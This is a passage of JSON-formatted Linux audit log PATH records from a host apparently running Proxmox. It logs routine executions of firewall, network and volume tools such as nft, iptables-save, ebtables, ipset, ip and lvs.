nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964097906,"@rawstring":"node=pve type=PATH msg=audit(1781964097.906:59582): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964097906,"@rawstring":"node=pve type=PATH msg=audit(1781964097.906:59582): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964097906,"@rawstring":"node=pve type=PATH msg=audit(1781964097.906:59581): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964097906,"@rawstring":"node=pve type=PATH msg=audit(1781964097.906:59580): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096123,"@rawstring":"node=pve type=PATH msg=audit(1781964096.123:59579): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096123,"@rawstring":"node=pve type=PATH msg=audit(1781964096.123:59579): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096119,"@rawstring":"node=pve type=PATH msg=audit(1781964096.119:59578): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096119,"@rawstring":"node=pve type=PATH msg=audit(1781964096.119:59578): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096118,"@rawstring":"node=pve type=PATH msg=audit(1781964096.118:59577): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096118,"@rawstring":"node=pve type=PATH msg=audit(1781964096.118:59577): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096118,"@rawstring":"node=pve type=PATH msg=audit(1781964096.118:59576): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096114,"@rawstring":"node=pve type=PATH msg=audit(1781964096.114:59575): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096114,"@rawstring":"node=pve type=PATH msg=audit(1781964096.114:59575): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096114,"@rawstring":"node=pve type=PATH msg=audit(1781964096.114:59575): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096107,"@rawstring":"node=pve type=PATH msg=audit(1781964096.107:59574): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096107,"@rawstring":"node=pve type=PATH msg=audit(1781964096.107:59574): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096100,"@rawstring":"node=pve type=PATH msg=audit(1781964096.100:59573): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096100,"@rawstring":"node=pve type=PATH msg=audit(1781964096.100:59573): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096092,"@rawstring":"node=pve type=PATH msg=audit(1781964096.092:59572): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096092,"@rawstring":"node=pve type=PATH msg=audit(1781964096.092:59572): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096083,"@rawstring":"node=pve type=PATH msg=audit(1781964096.083:59571): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096083,"@rawstring":"node=pve type=PATH msg=audit(1781964096.083:59571): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096078,"@rawstring":"node=pve type=PATH msg=audit(1781964096.078:59569): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096078,"@rawstring":"node=pve type=PATH msg=audit(1781964096.078:59569): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096073,"@rawstring":"node=pve type=PATH msg=audit(1781964096.073:59568): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096073,"@rawstring":"node=pve type=PATH msg=audit(1781964096.073:59568): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096067,"@rawstring":"node=pve type=PATH msg=audit(1781964096.067:59567): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096067,"@rawstring":"node=pve type=PATH msg=audit(1781964096.067:59567): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096063,"@rawstring":"node=pve type=PATH msg=audit(1781964096.063:59566): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096063,"@rawstring":"node=pve type=PATH msg=audit(1781964096.063:59566): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096057,"@rawstring":"node=pve type=PATH msg=audit(1781964096.057:59565): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096057,"@rawstring":"node=pve type=PATH msg=audit(1781964096.057:59565): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096051,"@rawstring":"node=pve type=PATH msg=audit(1781964096.051:59564): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096051,"@rawstring":"node=pve type=PATH msg=audit(1781964096.051:59564): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096044,"@rawstring":"node=pve type=PATH msg=audit(1781964096.044:59563): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096044,"@rawstring":"node=pve type=PATH msg=audit(1781964096.044:59563): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096036,"@rawstring":"node=pve type=PATH msg=audit(1781964096.036:59562): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096036,"@rawstring":"node=pve type=PATH msg=audit(1781964096.036:59562): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096032,"@rawstring":"node=pve type=PATH msg=audit(1781964096.032:59561): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096032,"@rawstring":"node=pve type=PATH msg=audit(1781964096.032:59561): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096029,"@rawstring":"node=pve type=PATH msg=audit(1781964096.029:59560): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096029,"@rawstring":"node=pve type=PATH msg=audit(1781964096.029:59560): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096027,"@rawstring":"node=pve type=PATH msg=audit(1781964096.027:59559): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096027,"@rawstring":"node=pve type=PATH msg=audit(1781964096.027:59559): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096026,"@rawstring":"node=pve type=PATH msg=audit(1781964096.026:59558): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096019,"@rawstring":"node=pve type=PATH msg=audit(1781964096.019:59557): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096019,"@rawstring":"node=pve type=PATH msg=audit(1781964096.019:59557): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096019,"@rawstring":"node=pve type=PATH msg=audit(1781964096.019:59557): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096013,"@rawstring":"node=pve type=PATH msg=audit(1781964096.013:59556): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096013,"@rawstring":"node=pve type=PATH msg=audit(1781964096.013:59556): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096005,"@rawstring":"node=pve type=PATH msg=audit(1781964096.005:59555): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096005,"@rawstring":"node=pve type=PATH msg=audit(1781964096.005:59555): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096000,"@rawstring":"node=pve type=PATH msg=audit(1781964096.000:59554): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096000,"@rawstring":"node=pve type=PATH msg=audit(1781964096.000:59554): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964095992,"@rawstring":"node=pve type=PATH msg=audit(1781964095.992:59553): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964095992,"@rawstring":"node=pve type=PATH msg=audit(1781964095.992:59553): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964095985,"@rawstring":"node=pve type=PATH msg=audit(1781964095.985:59552): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964095985,"@rawstring":"node=pve type=PATH msg=audit(1781964095.985:59552): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964094900,"@rawstring":"node=pve type=PATH msg=audit(1781964094.900:59551): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964094900,"@rawstring":"node=pve type=PATH msg=audit(1781964094.900:59551): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964094871,"@rawstring":"node=pve type=PATH msg=audit(1781964094.871:59550): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964094871,"@rawstring":"node=pve type=PATH msg=audit(1781964094.871:59550): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964092898,"@rawstring":"node=pve type=PATH msg=audit(1781964092.898:59549): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964092898,"@rawstring":"node=pve type=PATH msg=audit(1781964092.898:59549): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964092898,"@rawstring":"node=pve type=PATH msg=audit(1781964092.898:59548): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964092898,"@rawstring":"node=pve type=PATH msg=audit(1781964092.898:59547): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964092892,"@rawstring":"node=pve type=PATH msg=audit(1781964092.892:59546): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964092892,"@rawstring":"node=pve type=PATH msg=audit(1781964092.892:59546): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964092892,"@rawstring":"node=pve type=PATH msg=audit(1781964092.892:59545): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964092892,"@rawstring":"node=pve type=PATH msg=audit(1781964092.892:59544): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964087883,"@rawstring":"node=pve type=PATH msg=audit(1781964087.883:59543): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964087883,"@rawstring":"node=pve type=PATH msg=audit(1781964087.883:59543): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964087883,"@rawstring":"node=pve type=PATH msg=audit(1781964087.883:59542): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964087883,"@rawstring":"node=pve type=PATH msg=audit(1781964087.883:59541): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964087878,"@rawstring":"node=pve type=PATH msg=audit(1781964087.878:59540): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964087878,"@rawstring":"node=pve type=PATH msg=audit(1781964087.878:59540): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964087878,"@rawstring":"node=pve type=PATH msg=audit(1781964087.878:59539): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964087878,"@rawstring":"node=pve type=PATH msg=audit(1781964087.878:59538): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085973,"@rawstring":"node=pve type=PATH msg=audit(1781964085.973:59537): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085973,"@rawstring":"node=pve type=PATH msg=audit(1781964085.973:59537): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085969,"@rawstring":"node=pve type=PATH msg=audit(1781964085.969:59536): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085969,"@rawstring":"node=pve type=PATH msg=audit(1781964085.969:59536): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085968,"@rawstring":"node=pve type=PATH msg=audit(1781964085.968:59535): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085968,"@rawstring":"node=pve type=PATH msg=audit(1781964085.968:59535): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085968,"@rawstring":"node=pve type=PATH msg=audit(1781964085.968:59534): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085964,"@rawstring":"node=pve type=PATH msg=audit(1781964085.964:59533): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085964,"@rawstring":"node=pve type=PATH msg=audit(1781964085.964:59533): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085964,"@rawstring":"node=pve type=PATH msg=audit(1781964085.964:59533): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085958,"@rawstring":"node=pve type=PATH msg=audit(1781964085.958:59532): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085958,"@rawstring":"node=pve type=PATH msg=audit(1781964085.958:59532): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085951,"@rawstring":"node=pve type=PATH msg=audit(1781964085.951:59531): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085951,"@rawstring":"node=pve type=PATH msg=audit(1781964085.951:59531): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085945,"@rawstring":"node=pve type=PATH msg=audit(1781964085.945:59530): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085945,"@rawstring":"node=pve type=PATH msg=audit(1781964085.945:59530): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085938,"@rawstring":"node=pve type=PATH msg=audit(1781964085.938:59529): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 